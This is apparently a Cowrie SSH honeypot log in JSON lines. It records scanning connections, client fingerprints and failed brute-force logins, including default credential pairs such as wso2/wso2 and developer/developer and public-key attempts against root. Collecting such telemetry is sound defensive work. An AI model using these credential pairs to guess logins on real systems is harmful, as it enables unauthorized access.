{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50912,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf64287f6825","protocol":"ssh","message":"New connection: 8.218.166.49:50912 (10.17.0.5:22) [session: cf64287f6825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:13.845729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:13.857631Z","src_ip":"8.218.166.49","session":"cf64287f6825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:14.068674Z","src_ip":"8.218.166.49","session":"cf64287f6825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:14.893595Z","src_ip":"8.218.166.49","session":"cf64287f6825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:16.141562Z","src_ip":"8.218.166.49","session":"cf64287f6825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37986,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ecb0c4bab57","protocol":"ssh","message":"New connection: 8.218.166.49:37986 (10.17.0.5:22) [session: 9ecb0c4bab57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:38.684811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:38.690484Z","src_ip":"8.218.166.49","session":"9ecb0c4bab57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57094,"dst_ip":"10.17.0.5","dst_port":22,"session":"c93849421d15","protocol":"ssh","message":"New connection: 8.218.166.49:57094 (10.17.0.5:22) [session: c93849421d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:47.573709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:47.577816Z","src_ip":"8.218.166.49","session":"c93849421d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:47.789328Z","src_ip":"8.218.166.49","session":"c93849421d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:48.424359Z","src_ip":"8.218.166.49","session":"c93849421d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":2284,"dst_ip":"10.17.0.5","dst_port":22,"session":"48018f796d3e","protocol":"ssh","message":"New connection: 186.190.215.90:2284 (10.17.0.5:22) [session: 48018f796d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:53.945866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:53.950588Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.057382Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:af:0d:10:4f:77:51:7e:0e:27:96:3a:4e:e1:1c:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVfpSBxbdx5k7Lu3NIXcKUb3h/Mw3yaMZEAFIccfU4r93fiaDE4fLA/8K/zBF3HRPQbdQWwdCgS8Y68GUrpmu1z3zZr8VBjori3x9iFOW1UmFS7OICSFmhcd4ieuc9ZE34dUzTplApnp2tGnKjI3AgxqlEKziDZ8+6onRf2EuBYAOQirHX7f22AYPE5m/31moNuFjyqeHMEB8qjz83Azrtb0iOXwm5mx2aWLzvkIMaImZV6AoenmWgZR/6iVJI++YjuC/1BgU7ADQTWD/aZZrWs9I65f1TtSPxwgfzKmWn+NzLB89Pvg52L1FMY94KDCB8GX9jzHMfhNzU5bI9dpRT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:af:0d:10:4f:77:51:7e:0e:27:96:3a:4e:e1:1c:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.553852Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:af:0d:10:4f:77:51:7e:0e:27:96:3a:4e:e1:1c:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVfpSBxbdx5k7Lu3NIXcKUb3h/Mw3yaMZEAFIccfU4r93fiaDE4fLA/8K/zBF3HRPQbdQWwdCgS8Y68GUrpmu1z3zZr8VBjori3x9iFOW1UmFS7OICSFmhcd4ieuc9ZE34dUzTplApnp2tGnKjI3AgxqlEKziDZ8+6onRf2EuBYAOQirHX7f22AYPE5m/31moNuFjyqeHMEB8qjz83Azrtb0iOXwm5mx2aWLzvkIMaImZV6AoenmWgZR/6iVJI++YjuC/1BgU7ADQTWD/aZZrWs9I65f1TtSPxwgfzKmWn+NzLB89Pvg52L1FMY94KDCB8GX9jzHMfhNzU5bI9dpRT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.557752Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:0b:2b:8e:67:2a:70:d8:75:b3:44:34:1a:73:f2:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg1DMhXjZDvH90gE8WgN4lbtz7XCCz0xuvSZRdKieIDyo6gkpfmTKyRs5YW+/5HxC/crSmarq4aCkh5WjtBgSlCvy4qCwNv3Xd1BDIh5ICf7SktXX5g5GDUv+UfHJu5x22/VUgcqHOJ7jIelScWHrIwG21ObyxyyNAoRyZWgsOA9e2OcSR4oT2dqq/bRa/8lhI5Ut1JehAM96aXLfCKwRASbNXmYyTrG/R1+2iyh4RptTVhe7j7v4O3GosTzOe4Qn+iH2SM35L1Y8STswPHgyxjIRjsmv2U5Ey6Tz9RXO8aPWl9e2f8u9hGvKqoTQi4mhxSK8jtA7f6IdXktKQSk33/pouOr8GK+E8ziofixaaDcOybqvM1FI6btLLRcCKZSaxRlWmgin2i9sVFJWkJcRf90/IrzGYrYOBG4Dh2Md5PR7zVqn9KgW6FbSmSY3mvjmctqMzxP/HU1EPubsu4TZ8gehuhbPLOA0gY+PE6kv6ZajmNjetOWDB0xKySvLEIIM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:0b:2b:8e:67:2a:70:d8:75:b3:44:34:1a:73:f2:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.661728Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:0b:2b:8e:67:2a:70:d8:75:b3:44:34:1a:73:f2:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg1DMhXjZDvH90gE8WgN4lbtz7XCCz0xuvSZRdKieIDyo6gkpfmTKyRs5YW+/5HxC/crSmarq4aCkh5WjtBgSlCvy4qCwNv3Xd1BDIh5ICf7SktXX5g5GDUv+UfHJu5x22/VUgcqHOJ7jIelScWHrIwG21ObyxyyNAoRyZWgsOA9e2OcSR4oT2dqq/bRa/8lhI5Ut1JehAM96aXLfCKwRASbNXmYyTrG/R1+2iyh4RptTVhe7j7v4O3GosTzOe4Qn+iH2SM35L1Y8STswPHgyxjIRjsmv2U5Ey6Tz9RXO8aPWl9e2f8u9hGvKqoTQi4mhxSK8jtA7f6IdXktKQSk33/pouOr8GK+E8ziofixaaDcOybqvM1FI6btLLRcCKZSaxRlWmgin2i9sVFJWkJcRf90/IrzGYrYOBG4Dh2Md5PR7zVqn9KgW6FbSmSY3mvjmctqMzxP/HU1EPubsu4TZ8gehuhbPLOA0gY+PE6kv6ZajmNjetOWDB0xKySvLEIIM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.665060Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:a3:8f:1f:48:a3:90:87:e4:ff:75:15:d2:2d:14:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu10VV0bEhJZ2/FLEp8PosgmhSz1nXxn0aK1eZvhPeISUWMXi+Rjk5Wzy0EhnxR3KQ/aIYmVNqyGnqAPQxKa4p/vOeU6xxg4vHdvaMRlC/0kMh38kPu7OSUQmb3zzW6/Ho0f+NOUr8GTjQG06szEEpDL/u42vjkASV4mHXneqg1Fhpf0VDJtZVlediS9Aum3Cz5c2ZxrMDnHwg2X44KJt+ee37C2rtM+NDOVZSiskEZkIxAMsHjhOYdr2oGcjTRPhFu8ckfZ0CvmJrRSlUrhZ3DU46DNB8aFAUtWQQd5ETWgw+K/nJhrI6seHomFV5MiQrY0++sqFLE5CztsOsnLrd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:a3:8f:1f:48:a3:90:87:e4:ff:75:15:d2:2d:14:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.769413Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:a3:8f:1f:48:a3:90:87:e4:ff:75:15:d2:2d:14:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu10VV0bEhJZ2/FLEp8PosgmhSz1nXxn0aK1eZvhPeISUWMXi+Rjk5Wzy0EhnxR3KQ/aIYmVNqyGnqAPQxKa4p/vOeU6xxg4vHdvaMRlC/0kMh38kPu7OSUQmb3zzW6/Ho0f+NOUr8GTjQG06szEEpDL/u42vjkASV4mHXneqg1Fhpf0VDJtZVlediS9Aum3Cz5c2ZxrMDnHwg2X44KJt+ee37C2rtM+NDOVZSiskEZkIxAMsHjhOYdr2oGcjTRPhFu8ckfZ0CvmJrRSlUrhZ3DU46DNB8aFAUtWQQd5ETWgw+K/nJhrI6seHomFV5MiQrY0++sqFLE5CztsOsnLrd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.773723Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:70:de:95:ce:e8:48:8c:48:23:90:dd:e1:57:f6:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArKiTPFKp4z0qLpsb2aWTXgQW1BAT2vUwz/D74wDqiDVWNErMhXR8JMDPaDjweS6IhxVLzFS3OzDjOQTxH2Fr4Hkw22L515psU5PeTkFfTlKIJbN4VDO8LR1cwl1oFdgEF85IQykBq1WyFlPwopmGLpJjf9WPWhs7rGNB5v1wukj30IohKSTX1OPnk7sSuvAvYNYDbPLpNHX0iJ9aB9ouFW3PG9LRFQ+R4G3GOzyUU9LTCyRSH7KASgtEvk/0ManY7zpqhvDYukCjmMgeom2m1BLpfvgF7oI9DJr2svngtS1MP3xOB+RzDSeT/HJRy7d2wXJtFW4VBRPeldj3esDcWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:70:de:95:ce:e8:48:8c:48:23:90:dd:e1:57:f6:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.880508Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:70:de:95:ce:e8:48:8c:48:23:90:dd:e1:57:f6:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArKiTPFKp4z0qLpsb2aWTXgQW1BAT2vUwz/D74wDqiDVWNErMhXR8JMDPaDjweS6IhxVLzFS3OzDjOQTxH2Fr4Hkw22L515psU5PeTkFfTlKIJbN4VDO8LR1cwl1oFdgEF85IQykBq1WyFlPwopmGLpJjf9WPWhs7rGNB5v1wukj30IohKSTX1OPnk7sSuvAvYNYDbPLpNHX0iJ9aB9ouFW3PG9LRFQ+R4G3GOzyUU9LTCyRSH7KASgtEvk/0ManY7zpqhvDYukCjmMgeom2m1BLpfvgF7oI9DJr2svngtS1MP3xOB+RzDSeT/HJRy7d2wXJtFW4VBRPeldj3esDcWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.885546Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:ff:ad:ab:62:15:de:b5:14:ab:f6:fb:32:31:98:76","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICDGySIOmnVj2J3s/eQJsOIye8kC0snoicMtgtCPR4jN","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 25:ff:ad:ab:62:15:de:b5:14:ab:f6:fb:32:31:98:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.991452Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:ff:ad:ab:62:15:de:b5:14:ab:f6:fb:32:31:98:76","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICDGySIOmnVj2J3s/eQJsOIye8kC0snoicMtgtCPR4jN","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:54.995513Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:55.100868Z","src_ip":"186.190.215.90","session":"48018f796d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46452,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfaa03a153ed","protocol":"ssh","message":"New connection: 8.218.166.49:46452 (10.17.0.5:22) [session: dfaa03a153ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:55.838384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:55.847658Z","src_ip":"8.218.166.49","session":"dfaa03a153ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:32:16.305423Z","src_ip":"8.218.166.49","session":"dfaa03a153ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.8","message":"Connection lost after 33.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:32:21.422672Z","src_ip":"8.218.166.49","session":"c93849421d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38170,"dst_ip":"10.17.0.5","dst_port":22,"session":"269ff919b5ef","protocol":"ssh","message":"New connection: 8.218.166.49:38170 (10.17.0.5:22) [session: 269ff919b5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:32:23.143156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:32:32.883317Z","src_ip":"8.218.166.49","session":"269ff919b5ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:32:32.886742Z","src_ip":"8.218.166.49","session":"269ff919b5ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:32:49.777128Z","src_ip":"8.218.166.49","session":"dfaa03a153ed","protocol":"ssh"}
